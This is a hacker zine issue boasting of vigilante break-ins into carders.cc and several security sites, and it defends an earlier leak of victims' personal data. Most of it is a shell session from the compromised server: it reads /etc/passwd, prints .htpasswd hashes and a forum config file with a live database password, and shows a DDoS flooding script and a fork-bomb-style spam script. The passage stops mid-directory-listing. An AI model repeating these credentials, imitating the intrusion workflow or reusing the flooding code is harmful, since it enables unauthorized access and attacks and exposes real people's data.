|\___/| -=[ISSUE - NO 2]=- =) ^Y^ (= -=[OF]=- \ ^ / )=*=( ______________________________ __ ____________ _ / \ |.-----.--.--.--.-----.-----.--| | ___ ___ _| || | | || _ | | | | | -__| _ | | . | | . || /| | | |\ ||_____|________|__|__|_____|_____| |__,|_|_|___|| \| | |_|/\ | | | ______ |__//_// ___/ __ | | | .-----.--.--.-----.| |.-----.--\_).--| || | | | | -__|_ _| _ || || ||__ --| -__| _ || | | | |_____|__.__| __|| || ||_____|_____|_____|| |_/ \__________________________|__|___| || |___________________| |______| ------------------------.++- / y- / y- ---------------------/ s/----------------------.++- / ys+-. |\ / y- ---------------\.../ /\ ys------/()/ / y- sy \/ /'''\ \| / s/- ------------------+-++s /-----' / s+-. ---------------------/s /-------------\.../ /\ ys -y s sy \/ /'''\ -----------------------y s---------------------++s /-----' ----------------------++' |\ /s / -------------------------------------/()/ -y ys \| -y s -------------------------------------------------++' |_______________ ,_._._._._._._._,_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _| carders.cc `\ |_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_| inj3ct0r \ ~ Featuring ~ | ettercap \ _______________| |___________________\ /Â´ exploit-db | ! / backtrack |_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _,_._._._._._._._, / free-hack |_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_| /___________________| ~ and ~ ! Out of the Blue into the Black ,_._._._._._._._|____________________________________________________ |_|_|_|_|_|_|_|_|___________________________________________________/ ~ INTRO ~ ! Greetings followers, welcome to the second issue of owned and exp0sed. This file is encoded with UTF-8, so to view it properly use unicode. For those who are reading and laughing with us: We (your happy ninjas) wish you a , _/^\_ < hax > /.-.\ * MERRY * `/&\` ,@.*;@, /_o.I %_\ (`'--:o(_@; /`;--.,__ `') ;@`o % O,*`'`&\ (`'--)_@ ;o %'()\ * NINJA * /`;--._`''--._O'@; /&*,()~o`;-.,_ `""`) /`,@ ;+& () o*`;-';\ (`""--.,_0 +% @' &()\ /-.,_ ``''--....-'`) /@%;o`:;'--,.__ __.'\ ;*,&(); @ % &^;~`"`o;@(); * HAXMAS * /(); o^~; & ().o@*&`;&%O\ `"="==""==,,,.,="=="==="` __.----.(\-''#####---...___...-----._ '` \)_`"""""` .--' `) o( )_-\ `"""` ` After our first release we got wind of some strange rumours. So just to be sure, we need to clarify some facts. So, who are we? First, lets talk about some things we are not. We are not an underground rival kiddy group. We are not a cyber mafia gang. We are the watchmen, the hackers who quietly observe the scene. If any skiddy community gets too big, we shut them down. If any lamer causes too much trouble, we shut them down. If any group keeps fucking stuff up, we stop them. So, why are we doing this? Some people say that being a vigilanty is wrong and that we are actually criminals. What can we say? This may be true. But the way we see it, if your not part of the solution, your part of the fucking problem. These idiots spread garbage across our scene and that is why they got owned. We take pride in what is left of the scene and we have serious problems with those who rape it. That's why we do what MUST be done. There are some things left we would like to say about carders.cc. First of all, they came back online after they got rm'ed. In the first issue we gave our word that we would make sure carders.cc would never come back. Well, we delivered on that promise in this issue. And as such carders.cc has once again been eliminated. Maybe this time they will get the hint. Also, Heise Security said that we were a rival group trying to capitalize on the demise of carders.cc. Apparently they weren't happy about our disclosure of the carders.cc database that included the personal information of carders.cc victims. What Heise forgot was that with this action, all the victims of carders.cc got the chance to realize that they were victims of fraud. You can try to say that our disclosure of the database put them at even greater risk of fraud but we disagree. What is more risky? Having your information secretly on an "underground" carding forum where it WILL be sold and used in frauduelent activity? Or, having it released so that you can be notified and take the appropriate action to mitigate the damage that has been done? I know which option I'd rather have. It is quite impressive how many people wrote about the Carders Hack without even bothering to read the zine. It is hilarious to see how the media works. Somebody writes an article, others copy information from it, others copy from it again. If we take a shit in a bowl. Then you eat that shit and puke it back into a different bowl for someone else to eat then they do the same thing, what do you have? "Two Journo's One Cup" is what you have. Fucking pathetic. On the other hand, we'd like to thank Brian Krebs. Even if some of his conclusions were way off the mark, he was still the first one to report about carders.cc and nearly every other article was based on Brian's work. At least you didn't eat shit and regurgitate it like the rest Brian, keep up the good work. Enough jibber jabber, let's get to business. You will soon realize that our targets vary: We owned ettercap because we were tired of people firing that shit up and pretending to be a l33th4x0r sheep who think they are the greatest hackerz with their ARP spoofing toolkitz.. If you have installed ettercap in the last 5 years you may want to check yo shit (;p). We owned offsec including backtrack and exploit-db because they are fucking security "expert" maggots (oops s/m/f/) who just fail so hard at security that we wonder why people really take their training courses. We imagine it's like open mic night at the laughatorium. We owned inj3ct0r because they are lameass wannabe milw0rm kids whose sole purpose in life is to disclose XSS 0dayz in Joomla (RSnake anyone?). We owned carders.cc (AGAIN) because they are unable to learn from their mistakes and keep spreading garbage around the underground. We owned free-hack because they are developing into one of the largest, most arrogant script-kiddie breeding grounds on the intertubez. ,_._._._._._._._|____________________________________________________ |_|_|_|_|_|_|_|_|___________________________________________________/ ~ carders.cc ~ ! Here we go again. We hope that everybody was looking forward to see carders.cc getting owned again. We kept our word, didn't we? Let us begin: ____________________________________________________________________ | __ __ | | .-----.--.--.-----.| |_.-----.| |--.-----.--.--. | | | _ | | | _ || _| -__|| _ | _ |_ _| | | |__ |_____|_____||____|_____||_____|_____|__.__| | |________|__|________________________________________________________| | | | The ninja guys piss on you and your half trained monkeys or | | whatever your leet underground team consists of. If you continue, | | you will be owned over again and rm'd twice. Also we will punch | | you in the face. | |____________________________________________________________________| Our lazy ninja squad was too drunk to come over and punch you in the fucking face. So we'll just stick to owning you for now. Carders.cc went down for a few days, but came back as if nothing had happened. They switched some server admins and installed some new software in the hopes that they would be safe. They turned on some l33t "security" settings like PHP's "Safe Mode" and "Openbase Dir", and they also disabled lots of functions. All in all they thought they were pretty locked down. Well, obviously they were fucking wrong. It's hard to harden a system when everything is backdoored and unfortunately we are just too ninja to get stopped by your silly protections. You can never stop us. We will always keep owning and exp0sing you. No. Matter. What. You. Try. $ uname -a FreeBSD sec1560.2x4.ru 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:02:08 UTC 2009 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 $ id uid=1000(carderscc) gid=1000(carderscc) groups=1000(carderscc) $ w 1:24AM up 11 days, 4:23, 0 users, load averages: 0.37, 0.48, 0.54 USER TTY FROM LOGIN@ IDLE WHAT $ alias ls="ls -la" $ ls total 47 drwxr-xr-x 17 root wheel 512 Jul 3 19:12 . drwxr-xr-x 17 root wheel 512 Jul 3 19:12 .. -rw-r--r-- 1 root wheel 798 Jan 18 2010 .cshrc -rw-r--r-- 1 root wheel 265 Jan 18 2010 .profile -r--r--r-- 1 root wheel 6206 Jan 18 2010 COPYRIGHT -rw-r--r-- 1 root wheel 0 Jul 3 19:12 a drwxr-xr-x 2 root wheel 1024 Jan 18 2010 bin drwxr-xr-x 7 root wheel 512 Jan 18 2010 boot dr-xr-xr-x 5 root wheel 512 Nov 24 21:14 dev drwxr-xr-x 22 root wheel 2560 Nov 1 23:54 etc drwxr-x--x 4 root wheel 512 Nov 1 23:54 home drwxr-xr-x 3 root wheel 1536 Jan 18 2010 lib drwxr-xr-x 2 root wheel 512 Apr 4 2010 libexec drwxr-xr-x 2 root wheel 512 Jan 18 2010 media drwxr-xr-x 2 root wheel 512 Jan 18 2010 mnt dr-xr-xr-x 1 root wheel 0 Dec 6 00:58 proc drwxr-xr-x 11 root wheel 1024 Nov 8 20:33 root drwxr-xr-x 2 root wheel 2560 Jan 18 2010 sbin lrwxr-xr-x 1 root wheel 11 Jan 18 2010 sys -> usr/src/sys drwxrwxrwt 11 root wheel 512 Dec 5 23:42 tmp drwxr-xr-x 15 root wheel 512 Jan 18 2010 usr drwxr-xr-x 23 root wheel 512 Nov 24 21:14 var $ cat /etc/passwd # $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29 kensmith Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin carderscc:*:1000:1000:User &:/home/carderscc:/sbin/nologin cardersblog:*:1001:1001:User &:/home/cardersblog:/usr/sbin/nologin $ cd /root $ ls total 412628 drwxr-xr-x 11 root wheel 1024 Nov 8 20:33 . drwxr-xr-x 17 root wheel 512 Jul 3 19:12 .. -rw------- 1 root wheel 1856 Dec 5 23:53 .bash_history -rw-r--r-- 1 root wheel 798 Jan 18 2010 .cshrc -rw------- 1 root wheel 2909 Dec 7 22:31 .history -rw-r--r-- 1 root wheel 155 Jan 18 2010 .k5login -rw------- 1 root wheel 61 Jul 5 21:44 .lesshst -rw-r--r-- 1 root wheel 303 Jan 18 2010 .login drwx------ 3 root wheel 512 Dec 6 02:34 .mc -rw------- 1 root wheel 641 Nov 8 20:33 .mysql_history -rw-r--r-- 1 root wheel 265 Jan 18 2010 .profile drwx------ 2 root wheel 512 Nov 7 17:20 .ssh -rw-r--r-- 1 root wheel 417314245 Oct 24 21:13 24_10_2010_carderscc_01.sql drwxr-xr-x 3 root wheel 512 Jul 3 00:34 backup drwxr-xr-x 4 root wheel 512 Nov 8 17:58 backups drwxr-xr-x 2 root wheel 512 Jul 20 2009 crack -rw-r--r-- 1 root wheel 3223 Jul 20 2009 crack.zip -rw-r--r-- 1 root wheel 85 Aug 9 03:31 ddos.php -rw-r--r-- 1 root wheel 168 Feb 1 2010 example.php drwxr-xr-x 3 root wheel 512 Jul 5 00:41 greensql -rw-r--r-- 1 root wheel 20 Aug 9 03:26 info.php -rw------- 1 root wheel 16877 Jul 29 20:44 mbox drwxr-xr-x 3 root wheel 512 Jul 3 18:59 php drwxr-xr-x 14 carderscc carderscc 1536 Nov 2 16:15 proftpd-1.3.3c -rw-r--r-- 1 root wheel 4885847 Oct 29 17:27 proftpd-1.3.3c.tar.gz drwxr-xr-x 2 root wheel 512 Nov 8 18:50 stylebackup Mad PHP-Codez again! $ cat ddos.php <?php while(1==1) { $fp = fsockopen("92.241.190.202", 80, $errno, $errstr, 30); } ?> $ cat info.php <?php phpinfo(); ?> $ cat example.php <?php pcntl_fork(); pcntl_fork(); pcntl_fork(); pcntl_fork(); for ($i=0; $i<10; $i++) { echo "."; mail("jeka@2x4.ru","spammtest","this is a very big message..."); } ?> $ cd /home/carderscc $ ls total 18 drwxr-x--- 7 carderscc www 512 Nov 18 20:45 . drwxr-x--x 4 root wheel 512 Nov 1 23:54 .. dr-xr-x--- 18 carderscc www 2560 Nov 12 23:32 carders.cc drwxrwxr-x 2 carderscc www 512 Dec 2 00:34 jabber.carders.cc drwxrwxr-x 11 carderscc www 3072 Nov 8 17:27 pma drwxrwxrwx 2 carderscc www 2048 Dec 6 00:40 temp drwxrwxr-x 5 carderscc www 512 Nov 6 19:47 vbseo $ cd carders.cc $ ls total 2286 dr-xr-x--- 18 carderscc www 2560 Nov 12 23:32 . drwxr-x--- 7 carderscc www 512 Nov 18 20:45 .. -r-xr-x--- 1 carderscc www 1107 Dec 5 15:34 .htaccess -r-xr-x--- 1 carderscc www 20 Nov 12 18:16 .htpasswd dr-xr-x--- 4 carderscc www 2048 Nov 18 21:17 admincp -r-xr-x--- 1 carderscc www 40115 Oct 29 20:53 ajax.php -r-xr-x--- 1 carderscc www 75525 Oct 29 20:53 album.php -r-xr-x--- 1 carderscc www 19041 Oct 29 20:52 announcement.php dr-xr-x--- 2 carderscc www 512 Oct 29 22:39 archive -r-xr-x--- 1 carderscc www 8668 Oct 29 20:52 asset.php -r-xr-x--- 1 carderscc www 20406 Oct 29 20:52 assetmanage.php -r-xr-x--- 1 carderscc www 15710 Oct 29 20:52 attachment.php -r-xr-x--- 1 carderscc www 6658 Oct 29 20:52 attachment_inlinemod.php -r-xr-x--- 1 carderscc www 3449 Oct 29 20:52 blog_attachment.php -r-xr-x--- 1 carderscc www 96043 Oct 29 20:53 calendar.php -r-xr-x--- 1 carderscc www 43 Oct 29 20:52 clear.gif dr-xr-x--- 9 carderscc www 3584 Nov 2 00:32 clientscript -r-xr-x--- 1 carderscc www 15270 Oct 29 20:52 converse.php dr-xr-x--- 7 carderscc www 512 Nov 2 00:33 cpstyles -r-xr-x--- 1 carderscc www 3231 Oct 29 20:52 cron.php -r-xr-x--- 1 carderscc www 5139 Oct 29 20:52 css.php dr-xr-x--- 3 carderscc www 512 Nov 2 00:33 customavatars dr-xr-x--- 3 carderscc www 512 Nov 2 00:33 customgroupicons dr-xr-x--- 2 carderscc www 512 Nov 2 00:33 customprofilepics -r-xr-x--- 1 carderscc www 1707 Oct 29 20:52 editor.php -r-xr-x--- 1 carderscc www 46932 Oct 29 20:53 editpost.php -r-xr-x--- 1 carderscc www 1326 Oct 29 20:52 entry.php -r-xr-x--- 1 carderscc www 30006 Oct 29 20:53 external.php -r-xr-x--- 1 carderscc www 9888 Oct 29 20:52 faq.php -r-xr-x--- 1 carderscc www 5430 Jul 29 15:42 favicon.ico -r-xr-x--- 1 carderscc www 22568 Oct 29 20:53 forum.php -r-xr-x--- 1 carderscc www 42374 Oct 29 20:53 forumdisplay.php -r-xr-x--- 1 carderscc www 1988 Oct 29 20:52 global.php -r-xr-x--- 1 carderscc www 155760 Oct 29 20:54 group.php -r-xr-x--- 1 carderscc www 26072 Oct 29 20:53 group_inlinemod.php -r-xr-x--- 1 carderscc www 11470 Oct 29 20:53 groupsubscription.php -r-xr-x--- 1 carderscc www 8961 Oct 29 20:53 image.php dr-xr-x--- 28 carderscc www 1536 Nov 22 16:54 images dr-xr-x--- 9 carderscc www 6144 Nov 6 19:47 includes -r-xr-x--- 1 carderscc www 2318 Oct 29 20:53 index.php -r-xr-x--- 1 carderscc www 46943 Oct 29 20:53 infraction.php -r-xr-x--- 1 carderscc www 187725 Oct 29 20:54 inlinemod.php -r-xr-x--- 1 carderscc www 23934 Jul 29 21:10 invites.php -r-xr-x--- 1 carderscc www 6778 Aug 14 08:15 itrader.php -r-xr-x--- 1 carderscc www 14964 Aug 14 08:15 itrader_detail.php -r-xr-x--- 1 carderscc www 13515 Aug 14 08:15 itrader_feedback.php -r-xr-x--- 1 carderscc www 1405 Aug 14 08:15 itrader_global.php -r-xr-x--- 1 carderscc www 22171 Aug 14 08:15 itrader_main.php -r-xr-x--- 1 carderscc www 3970 Aug 14 08:15 itrader_report.php -r-xr-x--- 1 carderscc www 11362 Oct 29 20:53 joinrequests.php -r-xr-x--- 1 carderscc www 1643 Oct 29 20:53 list.php -r-xr-x--- 1 carderscc www 10869 Oct 29 20:53 login.php dr-xr-x--- 2 carderscc www 512 Nov 2 00:33 madp -r-xr-x--- 1 carderscc www 30166 Oct 29 20:53 member.php -r-xr-x--- 1 carderscc www 16314 Oct 29 20:53 member_inlinemod.php -r-xr-x--- 1 carderscc www 40267 Oct 29 20:53 memberlist.php -r-xr-x--- 1 carderscc www 22186 Oct 29 20:53 misc.php dr-xr-x--- 2 carderscc www 512 Nov 6 19:48 modcp -r-xr-x--- 1 carderscc www 76749 Oct 29 20:53 moderation.php -r-xr-x--- 1 carderscc www 6701 Oct 29 20:53 moderator.php -r-xr-x--- 1 carderscc www 17474 Oct 29 20:53 newattachment.php -r-xr-x--- 1 carderscc www 41001 Oct 29 20:53 newreply.php -r-xr-x--- 1 carderscc www 20107 Oct 29 20:53 newthread.php -r-xr-x--- 1 carderscc www 21724 Oct 29 20:53 online.php dr-xr-x--- 5 carderscc www 512 Nov 2 00:33 packages -r-xr-x--- 1 carderscc www 8018 Oct 29 20:53 payment_gateway.php -r-xr-x--- 1 carderscc www 13282 Oct 29 20:53 payments.php -r-xr-x--- 1 carderscc www 3984 Oct 29 20:53 picture.php -r-xr-x--- 1 carderscc www 16587 Oct 29 20:53 picture_inlinemod.php -r-xr-x--- 1 carderscc www 26091 Oct 29 20:53 picturecomment.php -r-xr-x--- 1 carderscc www 29260 Oct 29 20:53 poll.php -r-xr-x--- 1 carderscc www 10336 Oct 29 20:53 posthistory.php -r-xr-x--- 1 carderscc www 76507 Oct 29 20:54 postings.php -r-xr-x--- 1 carderscc www 7009 Oct 29 20:53 printthread.php -r-xr-x--- 1 carderscc www 79357 Oct 29 20:54 private.php -r-xr-x--- 1 carderscc www 163617 Oct 29 20:55 profile.php -r-xr-x--- 1 carderscc www 56285 Oct 29 20:54 register.php -r-xr-x--- 1 carderscc www 7216 Oct 29 20:53 report.php -r-xr-x--- 1 carderscc www 14687 Oct 29 20:53 reputation.php -r-xr-x--- 1 carderscc www 34539 Oct 29 20:54 search.php -r-xr-x--- 1 carderscc www 22632 Oct 29 20:54 sendmessage.php -r-xr-x--- 1 carderscc www 12407 Oct 29 20:54 showgroups.php -r-xr-x--- 1 carderscc www 12660 Oct 29 20:54 showpost.php -r-xr-x--- 1 carderscc www 80037 Oct 29 20:54 showthread.php dr-xr-x--- 2 carderscc www 512 Nov 2 00:33 signaturepics dr-xr-x--- 2 carderscc www 512 Nov 2 00:32 store_sitemap -r-xr-x--- 1 carderscc www 38784 Oct 29 20:54 subscription.php -r-xr-x--- 1 carderscc www 5321 Oct 29 20:54 tags.php -r-xr-x--- 1 carderscc www 8722 Oct 29 20:54 threadrate.php -r-xr-x--- 1 carderscc www 11068 Oct 29 20:54 threadtag.php -r-xr-x--- 1 carderscc www 61 Oct 29 20:52 uploadprogress.gif -r-xr-x--- 1 carderscc www 39639 Oct 29 20:54 usercp.php -r-xr-x--- 1 carderscc www 20956 Oct 29 20:54 usernote.php -r-xr-x--- 1 carderscc www 16518 Jul 29 16:35 vaispy.php dr-xr-x--- 13 carderscc www 1024 Nov 2 00:32 vb dr-xr-x--- 4 carderscc www 512 Nov 6 19:48 vbseo -r-xr-x--- 1 carderscc www 45239 Nov 6 19:48 vbseo.php -r-xr-x--- 1 carderscc www 4112 Nov 6 19:47 vbseocp.php -r-xr-x--- 1 carderscc www 27801 Oct 29 20:54 visitormessage.php -r-xr-x--- 1 carderscc www 1647 Oct 29 20:54 widget.php -r-xr-x--- 1 carderscc www 3769 Oct 29 20:54 xmlsitemap.php $ cat .htpasswd ddos:XScRLnTwdeJ6k $ cat includes/config.php <?php /*======================================================================*\ || #################################################################### || || # vBulletin 4.0.3 Patch Level 1 || # ---------------------------------------------------------------- # || || # All PHP code in this file is Â©2000-2010 vBulletin Solutions Inc. # || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ /*-------------------------------------------------------*\ | ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** | +---------------------------------------------------------+ | If you get any errors while attempting to connect to | | MySQL, you will need to email your webhost because we | | cannot tell you the correct values for the variables | | in this file. | \*-------------------------------------------------------*/ // ****** DATABASE TYPE ****** // This is the type of the database server on which your vBulletin database will be located. // Valid options are mysql and mysqli, for slave support add _slave. Try to use mysqli if you are using PHP 5 and MySQL 4.1+ // for slave options just append _slave to your preferred database type. $config['Database']['dbtype'] = 'mysql'; // ****** DATABASE NAME ****** // This is the name of the database where your vBulletin will be located. // This must be created by your webhost. $config['Database']['dbname'] = 'carderscc_01'; // ****** TABLE PREFIX ****** // Prefix that your vBulletin tables have in the database. $config['Database']['tableprefix'] = ''; // ****** TECHNICAL EMAIL ADDRESS ****** // If any database errors occur, they will be emailed to the address specified here. // Leave this blank to not send any emails when there is a database error. $config['Database']['technicalemail'] = 'dbmaster@example.com'; // ****** FORCE EMPTY SQL MODE ****** // New versions of MySQL (4.1+) have introduced some behaviors that are // incompatible with vBulletin. Setting this value to "true" disables those // behaviors. You only need to modify this value if vBulletin recommends it. $config['Database']['force_sql_mode'] = false; // ****** MASTER DATABASE SERVER NAME AND PORT ****** // This is the hostname or IP address and port of the database server. // If you are unsure of what to put herecat ddos.php , leave the default values. $config['MasterServer']['servername'] = 'localhost'; $config['MasterServer']['port'] = 3306; // ****** MASTER DATABASE USERNAME & PASSWORD ****** // This is the username and password you use to access MySQL. // These must be obtained through your webhost. $config['MasterServer']['username'] = 'carderscc_01'; $config['MasterServer']['password'] = 'VGZU76f3zgugdew&5gd3ugz&gd3uzguzg$dh3jgduzgdUGZDufe76g3d'; // ****** MASTER DATABASE PERSISTENT CONNECTIONS ****** // This option allows you to turn persistent connections to MySQL on or off. // The difference in performance is negligible for all but the largest boards. // If you are unsure what this should be, leave it off. (0 = off; 1 = on) $config['MasterServer']['usepconnect'] = 0; // ****** SLAVE DATABASE CONFIGURATION ****** // If you have multiple database backends, this is the information for your slave // server. If you are not 100% sure you need to fill in this information, // do not change any of the values here. $config['SlaveServer']['servername'] = ''; $config['SlaveServer']['port'] = 3306; $config['SlaveServer']['username'] = ''; $config['SlaveServer']['password'] = ''; $config['SlaveServer']['usepconnect'] = 0; // ****** PATH TO ADMIN & MODERATOR CONTROL PANELS ****** // This setting allows you to change the name of the folders that the admin and // moderator control panels reside in. You may wish to do this for security purposes. // Please note that if you change the name of the directory here, you will still need // to manually change the name of the directory on the server. $config['Misc']['admincpdir'] = 'admincp'; $config['Misc']['modcpdir'] = 'modcp'; // Prefix that all vBulletin cookies will have // Keep this short and only use numbers and letters, i.e. 1-9 and a-Z $config['Misc']['cookieprefix'] = 'bb'; // ******** FULL PATH TO FORUMS DIRECTORY ****** // On a few systems it may be necessary to input the full path to your forums directory // for vBulletin to function normally. You can ignore this setting unless vBulletin // tells you to fill this in. Do not include a trailing slash! // Example Unix: // $config['Misc']['forumpath'] = '/home/users/public_html/forums'; // Example Win32: // $config['Misc']['forumpath'] = 'c:\program files\apache group\apache\htdocs\vb3'; $config['Misc']['forumpath'] = ''; // ****** USERS WITH ADMIN LOG VIEWING PERMISSIONS ****** // The users specified here will be allowed to view the admin log in the control panel. // Users must be specified by *ID number* here. To obtain a user's ID number, // view their profile via the control panel. If this is a new installation, leave // the first user created will have a user ID of 1. Seperate each userid with a comma. $config['SpecialUsers']['canviewadminlog'] = '4835,9816'; // ****** USERS WITH ADMIN LOG PRUNING PERMISSIONS ****** // The users specified here will be allowed to remove ("prune") entries from the admin // log. See the above entry for more information on the format. $config['SpecialUsers']['canpruneadminlog'] = '4835,9816'; // ****** USERS WITH QUERY RUNNING PERMISSIONS ****** // The users specified here will be allowed to run queries from the control panel. // See the above entries for more information on the format. // Please note that the ability to run queries is quite powerful. You may wish // to remove all user IDs from this list for security reasons. $config['SpecialUsers']['canrunqueries'] = '4835,9816'; // ****** UNDELETABLE / UNALTERABLE USERS ****** // The users specified here will not be deletable or alterable from the control panel by any users. // To specify more than one user, separate userids with commas. $config['SpecialUsers']['undeletableusers'] = ''; // ****** SUPER ADMINISTRATORS ****** // The users specified below will have permission to access the administrator permissions // page, which controls the permissions of other administrators $config['SpecialUsers']['superadministrators'] = '4835,9816'; // ****** DATASTORE CACHE CONFIGURATION ***** // Here you can configure different methods for caching datastore items. // vB_Datastore_Filecache - to use includes/datastore/datastore_cache.php // vB_Datastore_APC - to use APC // vB_Datastore_XCache - to use XCache // vB_Datastore_Memcached - to use a Memcache server, more configuration below // $config['Datastore']['class'] = 'vB_Datastore_Filecache'; // ******** DATASTORE PREFIX ****** // If you are using a PHP Caching system (APC, XCache, eAccelerator) with more // than one set of forums installed on your host, you *may* need to use a prefix // so that they do not try to use the same variable within the cache. // This works in a similar manner to the database table prefix. // $config['Datastore']['prefix'] = ''; // It is also necessary to specify the hostname or IP address and the port the server is listening on /* $config['Datastore']['class'] = 'vB_Datastore_Memcached'; $i = 0; // First Server $i++; $config['Misc']['memcacheserver'][$i] = '127.0.0.1'; $config['Misc']['memcacheport'][$i] = 11211; $config['Misc']['memcachepersistent'][$i] = true; $config['Misc']['memcacheweight'][$i] = 1; $config['Misc']['memcachetimeout'][$i] = 1; $config['Misc']['memcacheretry_interval'][$i] = 15; */ // ****** The following options are only needed in special cases ****** // ****** MySQLI OPTIONS ***** // When using MySQL 4.1+, MySQLi should be used to connect to the database. // If you need to set the default connection charset because your database // is using a charset other than latin1, you can set the charset here. // If you don't set the charset to be the same as your database, you // may receive collation errors. Ignore this setting unless you // are sure you need to use it. $config['Mysqli']['charset'] = 'latin1'; // Optionally, PHP can be instructed to set connection parameters by reading from the // file named in 'ini_file'. Please use a full path to the file. // Example: // $config['Mysqli']['ini_file'] = 'c:\program files\MySQL\MySQL Server 4.1\my.ini'; $config['Mysqli']['ini_file'] = '/etc/my.cnf'; // Image Processing Options // Images that exceed either dimension below will not be resized by vBulletin. If you need to resize larger images, alter these settings. $config['Misc']['maxwidth'] = 2592; $config['Misc']['maxheight'] = 1944; /*======================================================================*\ || #################################################################### || # || # CVS: $RCSfile$ - $Revision: 32878 $ || #################################################################### \*======================================================================*/ $ cd .. $ cd jabber.carders.cc $ ls total 812 drwxrwxr-x 2 carderscc www 512 Dec 2 00:34 . drwxr-x--- 7 carderscc www 512 Nov 18 20:45 .. -rwxrwxr-x 1 carderscc www 7948 Apr 28 2008 AC_OETags.js -rwxrwxr-x 1 carderscc www 629979 Apr 28 2008 SparkWeb.swf -rw-r--r-- 1 carderscc www 128693 Dec 2 00:34 c100.txt -rwxrwxr-x 1 carderscc www 3638 Apr 28 2008 favicon.ico -rwxrwxr-x 1 carderscc www 1272 Apr 28 2008 history.htm -rwxrwxr-x 1 carderscc www 1292 Apr 28 2008 history.js -rwxrwxr-x 1 carderscc www 2656 Apr 28 2008 history.swf -rwxrwxr-x 1 carderscc www 14590 Jun 30 16:00 index.html -rwxrwxr-x 1 carderscc www 2518 Apr 28 2008 osxmousewheel.js -rwxrwxr-x 1 carderscc www 657 Apr 28 2008 playerProductInstall.swf $ cd pma $ cat .htpasswd admin:0VisONWLe5DJE $ cd / $ls total 47 drwxr-xr-x 17 root wheel 512 Jul 3 19:12 . drwxr-xr-x 17 root wheel 512 Jul 3 19:12 .. -rw-r--r-- 1 root wheel 798 Jan 18 2010 .cshrc -rw-r--r-- 1 root wheel 265 Jan 18 2010 .profile -r--r--r-- 1 root wheel 6206 Jan 18 2010 COPYRIGHT -rw-r--r-- 1 root wheel 0 Jul 3 19:12 a drwxr-xr-x 2 root wheel 1024 Jan 18 2010 bin drwxr-xr-x 7 root wheel 512 Jan 18 2010 boot dr-xr-xr-x 5 root wheel 512 Nov 24 21:14 dev drwxr-xr-x 22 root wheel 2560 Nov 1 23:54 etc drwxr-x--x 4 root wheel 512 Nov 1 23:54 home drwxr-xr-x 3 root wheel 1536 Jan 18 2010 lib drwxr-xr-x 2 root wheel 512 Apr 4 2010 libexec drwxr-xr-x 2 root wheel 512 Jan 18 2010 media drwxr-xr-x 2 root wheel 512 Jan 18 2010 mnt dr-xr-xr-x 1 root wheel 0 Dec 6 00:58 proc drwxr-xr-x 11 root wheel 1024 Nov 8 20:33 root drwxr-xr-x 2 root wheel 2560 Jan 18 2010 sbin lrwxr-xr-x 1 root wheel 11 Jan 18 2010 sys -> usr/src/sys drwxrwxrwt 11 root wheel 512 Dec 5 23:42 tmp drwxr-xr-x 15 root wheel 512 Jan 18 2010 usr drwxr-xr-x 23 root wheel 512 Nov 24 21:14 var ?> $ cd /home/cardersblog $ ls total 8 drwxr-xr-x 4 cardersblog www 512 Nov 2 01:16 . drwxr-x--x 4 root wheel 512 Nov 1 23:54 .. dr-xr-x--- 5 cardersblog www 1024 Nov 21 00:18 blog.carders.cc drwxrwxrwx 2 cardersblog www 512 Nov 2 01:16 temp $ cd blog.carders.cc $ ls total 2928 dr-xr-x--- 5 cardersblog www 1024 Nov 21 00:18 . drwxr-xr-x 4 cardersblog www 512 Nov 2 01:16 .. -rw-r--r-- 1 cardersblog www 188 Nov 21 00:18 .htaccess -r-xr-x--- 1 cardersblog www 397 Aug 27 17:22 index.php -r-xr-x--- 1 cardersblog www 2683109 Jul 18 16:06 latest.tar.gz -r-xr-x--- 1 cardersblog www 15410 Aug 27 17:22 license.txt -r-xr-x--- 1 cardersblog www 9122 Aug 27 17:22 readme.html -r-xr-x--- 1 cardersblog www 4391 Aug 27 17:22 wp-activate.php dr-xr-x--- 7 cardersblog www 2560 Jul 18 16:06 wp-admin -r-xr-x--- 1 cardersblog www 40284 Aug 27 17:23 wp-app.php -r-xr-x--- 1 cardersblog www 220 Aug 27 17:23 wp-atom.php -r-xr-x--- 1 cardersblog www 274 Aug 27 17:23 wp-blog-header.php -r-xr-x--- 1 cardersblog www 3926 Aug 27 